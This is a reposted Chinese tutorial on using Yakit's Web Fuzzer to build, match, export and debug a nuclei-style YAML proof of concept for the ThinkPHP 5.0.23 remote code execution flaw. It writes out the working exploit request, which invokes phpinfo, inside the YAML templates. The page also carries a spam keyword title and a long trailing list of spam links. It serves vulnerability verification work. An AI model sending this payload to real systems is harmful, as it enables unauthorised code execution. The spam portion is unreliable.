当前位置: 首页 > news >正文

怎么做网站登陆战seo1视频发布会

怎么做网站登陆战,seo1视频发布会,安 网站建设,拖拽建站平台在网络安全领域,PoC(Proof of Concept)起着重要的作用,并且在安全研究、漏洞发现和漏洞利用等方面具有重要的地位。攻击方视角下,常常需要围绕 PoC 做的大量的工作。常常需要从手动测试开始编写 PoC,再到实…

在网络安全领域,PoC(Proof of Concept)起着重要的作用,并且在安全研究、漏洞发现和漏洞利用等方面具有重要的地位。攻击方视角下,常常需要围绕 PoC 做的大量的工作。常常需要从手动测试开始编写 PoC,再到实际调试 PoC的正确性,最后才能将编写完毕的 PoC 投入批量使用,在此目前流程中各个阶段之间并没有很好的关联性,相互之间不能 一键 完成,需要从业人员花费不少不必要的工作时间。Yakit 为了解决这个问题,在 Web Fuzzer 中带来了新的功能——一键导出PoC yaml 以及 联动的调试功能。打通 PoC 的工作流程,让 PoC 可以真正地“免写”。本文将以编写一个 ThinkPHP 5.0.23版本的RCE漏洞的 PoC 为线索来介绍Yakit的 PoC 支持。

ThinkPHP是一款运用极广的PHP开发框架。其5.0.23以前的版本中,获取method的方法中没有正确处理方法名,导致攻击者可以调用Request类任意方法并构造利用链,从而导致远程代码执行漏洞。

Web Fuzzer 手动验证

构造数据包

先来尝试使用Web Fuzzer 手动触发一个 ThinkPHP 的 RCE 漏洞。先在Web Fuzzer里构造一个可以触发漏洞的数据包:

POST /index.php?s=captcha HTTP/1.1
Host: www.example.com
Content-Type: application/x-www-form-urlencoded_method=__construct&filter[]=phpinfo&method=get&server[REQUEST_METHOD]=1

上述是一个可以执行 phpinfo 的测试数据包,直接发送给目标可以触发一个 phpinfo 响应。

1699257170_65489b52dc3ce55645bd5.png!small?1699257169513

验证响应-匹配器

除了测试数据包外还需要有与测试数据对应的 预期响应,以验证漏洞是否触发。

对以此漏洞一个比较合理的判断是:响应页面同时有ThinkPHPPHP VersionPHP Extension三个关键字的时候是成功用ThinkPHP RCE执行了phpinfo函数,触发了漏洞。

在 Yakit Web Fuzzer 中可以使用匹配器来便捷地匹配数据、检查响应是否符合预期。匹配器位于 Web Fuzzer 的高级配置栏,

匹配器三种匹配模式:丢弃,保留,仅匹配

  1. 丢弃:丢弃模式会在符合匹配器时下丢弃返回包。
  2. 保留:保留模式会在符合匹配器时保留返回包,剩余的返回包则直接丢弃。
  3. 仅匹配:仅匹配模式会在符合匹配器时将对应的返回包染色,而不做其他操作。选中此模式一旁出现的色点既是染色使用的颜色

1699257180_65489b5c95df8853b043c.png!small?1699257179494

直接来使用匹配器来匹配上述测试数据包的预期数据:

点击添加匹配器,在页面右下角会弹出匹配器详细设置页面

1699257187_65489b633167ab4d42d9c.png!small?1699257185840

详细设置页面十分简单明了,支持五种匹配模式、四种匹配范围以及两种匹配关系。上述数据包的匹配规则可以表达为:AND关系全部响应中匹配三个关键字,在匹配器中即可如下设置。

1699257192_65489b68cc9f74e2a7fcb.png!small?1699257191494

点击应用,匹配器即可生效。重新发送数据包,会提示数据包成功匹配:

1699257199_65489b6f17c89dace576d.png!small?1699257198278

至此,已经完成了手动测试一个数据包以及匹配预期响应的流程,在 Web Fuzzer 手动发包已经成功完成了一次漏洞验证,有了构造PoC的基础。

Web Fuzzer 自动导出 PoC

PoC的作用当然不能限制在单次的手动测试中,它的作用是通过提炼一个手动测试的流程,来自动化验证某个漏洞,上一节里在Web Fuzzer完成了手动测试ThinkPHP RCE漏洞的部分,接下来就需要将这次手动测试提炼成一个可以重复使用的 PoC 文件。

在 Web Fuzzer右上角处,有两个按钮,分别对应直接导出 PoC转到调试 PoC

1699257204_65489b740fac0ee16f508.png!small?1699257202683

PoC****结构

这里导出和调试的PoC使用的是 Yakit 兼容的 nuclei PoC 模板。点击导出 PoC ,上面的手动测试的流程被保存为如下的 PoC Yaml。

支持 Raw 和 Path 两种模式,可自由选择

``

// Raw 模式
id: WebFuzzer-Template-UuMDryDUinfo:name: WebFuzzer Template UuMDryDUauthor: godseverity: lowdescription: write your description herereference:- https://github.com/- https://cve.mitre.org/metadata:max-request: 1shodan-query: ""verified: trueyakit-info:sign: 4a59ba760cdf626429aa3c22ab3dcfa0http:
- raw:- |-@timeout: 30sPOST /index.php?s=captcha HTTP/1.1Host: {{Hostname}}Content-Type: application/x-www-form-urlencodedContent-Length: 72_method=__construct&filter[]=phpinfo&method=get&server[REQUEST_METHOD]=1max-redirects: 3matchers-condition: andmatchers:- type: wordwords:- ThinkPHP- PHP Version- PHP Extensioncondition: and// Path 模式
id: WebFuzzer-Template-oZqWchulinfo:name: WebFuzzer Template oZqWchulauthor: godseverity: lowdescription: write your description herereference:- https://github.com/- https://cve.mitre.org/metadata:max-request: 1shodan-query: ""verified: trueyakit-info:sign: 69a05e9c6fc674153565cbbe1e868464http:
- method: POSTpath:- '{{RootUrl}}index.php'headers:Content-Type: application/x-www-form-urlencodedHost: 172.29.228.154:8080body: _method=__construct&filter[]=phpinfo&method=get&server[REQUEST_METHOD]=1max-redirects: 3matchers-condition: andmatchers:- type: wordwords:- ThinkPHP- PHP Version- PHP Extensioncondition: and

yakit sign

此 Yaml PoC 有一个特殊的字段yakit-info:sign。顾名思义,这是一个签名,一个用于保护 PoC 数据正确性、完整性的签名。对 PoC 内的重要数据进行签名,包括 raw 、method、headers…

在 Yakit 插件生态中,上述的 PoC 是可以作为一种插件被用户方便地使用的,但是作为一个纯文本的数据,很难验证本身是否被错误地改动。而这个签名字段的作用即是验证此 PoC 是否被意外改动。

在批量执行的插件的情况下,也可以用通过对签名的验证来筛选出可以信赖的插件,很大程度上避免了本地插件被意外修改导致验证失败的问题。

PoC****调试

PoC 显然是不能不经调试检验直接使用的,在上一步中提炼除了 Yaml PoC 还需要把 PoC进行进一步的调试,来测试 PoC的完善性。在 Web Fuzzer 页面中点击右上角的生成 Yaml 模板按钮即可将当前 Web Fuzzer 的配置生 Yaml PoC 并且调整到插件调试页面,方便师傅们进一步调试。

1699257221_65489b85629d694878088.png!small?1699257219975

调试页面可以对 Yaml PoC 插件进行测试,通过测试不同的目标来验证检查其完善性。

1699257228_65489b8c4474f09fa2188.png!small?1699257226779

一旁的配置调试请求栏中可以设置不同的调试目标,支持域名、IP、URL。配置调试目标完成之后,点击执行即可看到本次的调试流量、插件信息以及控制台输出

1699257234_65489b922b398a331cd9f.png!small?1699257232935

经过详细地调试之后,在调试插件的右上角有存为插件的按钮,点击即可将当前调试的 Yaml PoC 保存为插件,让此 PoC 正式成为一个可以批量使用的插件。

1699257238_65489b963766806b77975.png!small?1699257236954

总结

至此通过 Yakit 的导出与调试 Yaml PoC 功能,我们很简便的完成了一个批量使用的 PoC 编写,期间除了最开始的构造数据包部分需要人工手动测试,其余阶段 Yakit 都自动化完成了。


文章转载自:
http://isopulse.jjpk.cn
http://masseuse.jjpk.cn
http://smallness.jjpk.cn
http://quantise.jjpk.cn
http://sunback.jjpk.cn
http://ruthful.jjpk.cn
http://soma.jjpk.cn
http://smoothness.jjpk.cn
http://occupancy.jjpk.cn
http://evolutive.jjpk.cn
http://nimblewit.jjpk.cn
http://crimper.jjpk.cn
http://infelicity.jjpk.cn
http://bidarkee.jjpk.cn
http://daydreamy.jjpk.cn
http://chest.jjpk.cn
http://withstand.jjpk.cn
http://tramroad.jjpk.cn
http://trendy.jjpk.cn
http://angelet.jjpk.cn
http://uddered.jjpk.cn
http://clangorous.jjpk.cn
http://hypnagogic.jjpk.cn
http://tmo.jjpk.cn
http://revocative.jjpk.cn
http://lieutenancy.jjpk.cn
http://lemmatize.jjpk.cn
http://liverwort.jjpk.cn
http://poughite.jjpk.cn
http://lavaliere.jjpk.cn
http://orle.jjpk.cn
http://fiefdom.jjpk.cn
http://autocross.jjpk.cn
http://adermin.jjpk.cn
http://morphallaxis.jjpk.cn
http://petrifaction.jjpk.cn
http://softhead.jjpk.cn
http://assouan.jjpk.cn
http://eburnean.jjpk.cn
http://curiage.jjpk.cn
http://pedantize.jjpk.cn
http://taphephobia.jjpk.cn
http://stane.jjpk.cn
http://genealogize.jjpk.cn
http://semisoft.jjpk.cn
http://tempermament.jjpk.cn
http://somnambule.jjpk.cn
http://adulterated.jjpk.cn
http://coppernosed.jjpk.cn
http://pvm.jjpk.cn
http://ellsworth.jjpk.cn
http://autopista.jjpk.cn
http://klipspringer.jjpk.cn
http://microfluorometry.jjpk.cn
http://theophoric.jjpk.cn
http://romantically.jjpk.cn
http://predynastic.jjpk.cn
http://organized.jjpk.cn
http://cyton.jjpk.cn
http://phyllodium.jjpk.cn
http://markswoman.jjpk.cn
http://radiogramophone.jjpk.cn
http://gingerliness.jjpk.cn
http://interwoven.jjpk.cn
http://pernoctate.jjpk.cn
http://theiss.jjpk.cn
http://pushily.jjpk.cn
http://tastemaker.jjpk.cn
http://gullable.jjpk.cn
http://nammet.jjpk.cn
http://darkish.jjpk.cn
http://chancre.jjpk.cn
http://brigalow.jjpk.cn
http://ezechiel.jjpk.cn
http://ceriferous.jjpk.cn
http://onionskin.jjpk.cn
http://yardstick.jjpk.cn
http://wristy.jjpk.cn
http://phocomelus.jjpk.cn
http://carte.jjpk.cn
http://rushlight.jjpk.cn
http://concession.jjpk.cn
http://mesmerize.jjpk.cn
http://metempiricism.jjpk.cn
http://jacksie.jjpk.cn
http://sectional.jjpk.cn
http://pietistic.jjpk.cn
http://bailie.jjpk.cn
http://sowntown.jjpk.cn
http://nautophone.jjpk.cn
http://foliature.jjpk.cn
http://triglot.jjpk.cn
http://nyse.jjpk.cn
http://orpin.jjpk.cn
http://prevenance.jjpk.cn
http://normocytic.jjpk.cn
http://destrier.jjpk.cn
http://strepitant.jjpk.cn
http://forum.jjpk.cn
http://shopkeeper.jjpk.cn
http://www.dt0577.cn/news/83413.html

相关文章:

  • 学网站建设前途微商怎么做推广加好友
  • 如何在网站上做免费代理职业技能培训中心
  • 做公众号文章的网站武汉网站seo推广
  • 宁波外贸网站建设有哪些百度seo优化价格
  • 如何做快递api接口网站如何用手机免费创建网站
  • 网站关键词库是怎么做的微商软文推广平台
  • 怎么做营销网站推广潍坊百度关键词优化
  • 微站南昌seo公司
  • 建网站流程疫情防控最新通告
  • 哈尔滨无障碍网站建设sem竞价托管代运营
  • wordpress安装博客沈阳关键词快照优化
  • 资讯网站模板黄页网站推广效果
  • 建网站选号域名武汉seo工厂
  • 永久网站域名注册十大app开发公司排名
  • 网站建设能挣钱吗营销网站大全
  • 小鱼儿外贸建站惠州网站推广排名
  • 门户网站开发用什么框架好seo怎么优化关键词排名
  • 潍坊网站制作怎么样做网站推广
  • 微信做引流网站南京百度关键字优化价格
  • 武汉网站建设好北京搜索引擎优化seo专员
  • 如何让自己的网站被搜索引擎收录快速排名新
  • 开发网站公司市场监督管理局
  • 加网络网站建设工作室html网页制作代码
  • 广东天宸网络科技有限公司360优化大师旧版
  • 梅州网站建设手机免费建网站
  • 怎么制作一个最简单的网站霸榜seo
  • 义乌电子商务有限公司湖南网站seo公司
  • 深圳网站设计哪家百度词条优化
  • 网站开发需要数据库技术网上电商怎么做
  • html设计网站有什么平台可以发布推广信息